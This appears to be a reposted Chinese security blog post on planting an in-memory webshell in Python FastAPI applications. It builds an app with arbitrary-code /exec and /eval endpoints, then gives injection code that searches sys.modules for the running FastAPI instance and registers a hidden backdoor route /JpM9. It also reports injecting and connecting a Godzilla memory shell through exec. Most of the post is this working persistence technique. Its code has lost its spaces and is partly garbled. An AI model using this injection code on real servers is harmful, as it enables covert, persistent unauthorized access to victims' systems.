【安全工具】Python内存马之FastApi内存马
原创
whoami0002
whoami0002
SecurityPaper
2026年1月3日 17:18
江苏
在小说阅读器读本章
去阅读
FastApi内存马
前几天看了一下langflow的代码执行漏洞，于是就有了这篇基于FastApi内存马的文章
首先我们搭建一个FastApi环境
fromfastapiimportFastAPI, HTTPException
frompydanticimportBaseModel
app=FastAPI(
title=\"FastAPI Code Executor\",
description=\"ASGI application with /exec and /eval endpoints\"
)
classCodePayload(BaseModel):
code: str
classExecResponse(BaseModel):
status: str
namespace: dict|None=None
error: str|None=None
type: str|None=None
classEvalResponse(BaseModel):
status: str
result: str|None=None
error: str|None=None
type: str|None=None
@app.post('/exec', response_model=ExecResponse)
asyncdefexecute_code(payload: CodePayload):
\"\"\"Execute code using exec()\"\"\"
try:
namespace= {}
exec(payload.code, namespace)
# Returnanyresultstoredinnamespace (excludingbuiltins)
result= {k: str(v) fork, vinnamespace.items() ifnotk.startswith('__')}
returnExecResponse(status='success', namespace=result)
exceptExceptionase:
raiseHTTPException(
status_code=500,
detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
)
@app.post('/eval', response_model=EvalResponse)
asyncdefevaluate_code(payload: CodePayload):
\"\"\"Evaluate code using eval()\"\"\"
try:
result=eval(payload.code)
returnEvalResponse(status='success', result=str(result))
exceptExceptionase:
raiseHTTPException(
status_code=500,
detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
)
@app.get('/')
asyncdefindex():
\"\"\"Index route with API info\"\"\"
return {
'framework': 'FastAPI',
'type': 'ASGI',
'routes': {
'/exec': 'POST - Execute code with exec()',
'/eval': 'POST - Evaluate expression with eval()'
},
'payload_format': {'code': 'your_code_here'},
'docs': '/docs'
}
if__name__=='__main__':
importuvicorn
uvicorn.run(app, host='0.0.0.0', port=5003)
注入内存马最重要的就是获取上下文中的fastapi对象，如何获取呢
在python中所有已经被加载的模块都存入到了sys.modules这个字典中
例如遍历已加载的对象
这个时候我们可以通过遍历sys.modules来找到fastapi对象
在调试窗口中执行此代码，可以看见已经找到了fastapi对象
编写注入代码
importsys
fromfastapiimportFastAPI, Request, Response
found_apps= []
formoduleinsys.modules.values():
ifmoduleisNone:
continue
try:
module_dict=vars(module)
forname, objinmodule_dict.items():
ifisinstance(obj, FastAPI):
app_info= (module.__name__, name, obj)
found_apps.append(app_info)
definject_shell(app: FastAPI):
@app.post('/JpM9')
@app.get('/JpM9')
asyncdefshell(request: Request):
try:
body=awaitrequest.body()
returnResponse(content=b\"WEBSHELL: \"+body,
media_type=\"application/octet-stream\")
exceptException:
returnResponse(content=b\"Error\", status_code=500)
print(f\"[+] 成功注入后门路由 /JpM9 到 {app.titleor'Unknown App'} ({name})\")
inject_shell(obj)
exceptExceptionase:
pass
print(\"找到并注入的 FastAPI 实例:\", found_apps)
成功注入
通过exec注入哥斯拉内存马
成功连接
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论